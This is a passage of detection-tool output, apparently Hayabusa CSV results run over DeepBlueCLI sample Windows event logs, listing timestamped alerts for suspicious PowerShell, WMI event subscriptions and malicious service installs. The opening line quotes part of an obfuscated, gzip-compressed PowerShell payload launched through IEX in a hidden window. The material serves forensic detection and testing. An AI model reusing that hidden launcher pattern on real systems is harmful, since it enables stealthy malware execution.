1pnw76YZvXd4e1azvTiuO4V47ZL3ys0da43NPzRdyqVKPWWN/q+VJYpVujR4e9+9uaWE5HDA8dzZ0UrjHdtYL1qMDbhwZC9dWldbh1RvVV295PDe16XLpHVYTKfnVU03lzqgeoq42wO+Lb5rrOxm4Z6TWLkllvWNN7vZqOhvX1Q+Vac8F3glf6eFSks82kv4J+DSA0tXypYZMDn/aApDpH2O2DjVsuWisHbCofkP6hw8Mivtc50sGmNnsAXNNNrctgfjAscjRinQlGrdm+pmmFabeEjDwd110UL4ldvYdR+Fg5VLTCyOb2+GNn6mijCbvSKuXBxnI0TdsalaY1K+w+312V9PxD2aMeWxZt7Xr4Wfe3Tbf76Nq98VV/19kvYb+hpo3ex/oBAWWW1+tJy/3kn+nhpQLQxkG4wgx0And6mr41HtSSe7rLaeyhKMdifU8CnzAoc1AIU8EjxrgV14r0RodSdSogC8jfITQvi79sqdKTofpcQNKhm5sZAIU0SsWdaxHfFatsfneZz0NByO9KeTjw6w9Y5pu98rRcNi4qT0yd78OO+6hxhmUObPbZ6+/+XyKT1F7By34Fkc9j/zL7KnLz2WcCfpr6ceC3mP5tBsaYCrA04Xpi5FRBXyQiEc/ZJ0cSJFCGkzzxF+BdJC468DHyN6LCQgBvCgAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 05:40:21.230 +09:00,IE10Win7,7045,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 05:40:21.261 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 05:40:21.261 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 05:40:21.464 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 07:54:48.533 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 07:54:48.533 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 11:07:47.443 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 11:07:47.443 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 11:19:46.459 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 11:19:46.459 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 22:57:54.520 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 22:57:54.520 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 23:00:17.112 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:09:55.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:09:55.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:09:57.843 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:09:57.843 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:47:29.854 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:47:29.854 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 06:47:30.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 06:47:30.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 08:02:19.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 08:02:19.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 08:02:22.296 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 08:02:22.296 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 01:03:05.348 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 01:03:05.348 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 05:05:57.517 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 05:05:57.517 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 05:05:59.973 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 05:05:59.973 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:00:11.001 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:00:11.001 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:03:27.106 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:03:27.106 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:42:09.518 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:42:09.518 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:45:28.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-22 06:47:30.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-22 06:47:30.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-22 06:49:00.074 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 09:12:59.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 09:12:59.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 09:13:02.546 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 09:13:02.546 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 11:24:05.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 11:24:05.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:17:07.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:17:07.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:17:10.203 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:17:10.203 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:25:05.171 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:25:05.171 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:25:59.734 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:25:59.734 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:26:37.046 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:26:37.046 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:27:31.828 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:27:31.828 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:28:38.656 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:30:06.203 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:30:06.203 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:38:23.076 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:38:23.076 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:51:10.232 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:51:10.232 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:51:19.681 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:51:19.681 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-26 00:03:05.603 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 00:03:05.603 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 00:04:55.947 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-26 00:04:55.947 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-26 05:43:45.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 05:43:45.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 05:43:48.140 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 05:43:48.140 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 05:58:46.881 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Generic,,rules/sigma/deprecated/powershell_suspicious_invocation_generic.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-27 05:34:49.928 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-27 05:34:49.928 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-27 05:36:53.970 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-27 09:43:11.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-27 09:43:11.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 00:20:56.556 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 00:20:56.556 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 00:31:15.759 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:31:15.759 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:32:08.574 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:32:08.574 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:32:35.199 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:32:35.199 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:34:22.339 +09:00,IE10Win7,4688,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 00:34:22.339 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-28 06:44:54.195 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 06:44:54.195 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 13:15:03.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-28 13:15:03.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-29 23:37:30.711 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-29 23:37:30.711 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-29 23:37:47.253 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-29 23:37:47.253 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 00:26:09.514 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 00:26:09.514 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 00:26:12.129 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 00:26:12.129 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 03:52:06.519 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 03:52:06.519 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 03:52:09.234 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 03:52:09.234 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 18:48:20.558 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 18:48:20.558 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 18:53:55.378 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 23:01:04.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-30 23:01:04.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-31 06:03:24.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-31 06:03:24.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-31 09:11:14.985 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-31 09:11:14.985 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 00:54:06.355 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 00:54:06.355 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 23:08:32.910 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 23:08:32.910 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-02 23:10:46.008 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:42:26.373 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:42:26.373 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:45:14.660 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:45:14.661 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:45:14.661 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:45:42.333 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:46:17.504 +09:00,IE10Win7,19,high,WMI Event 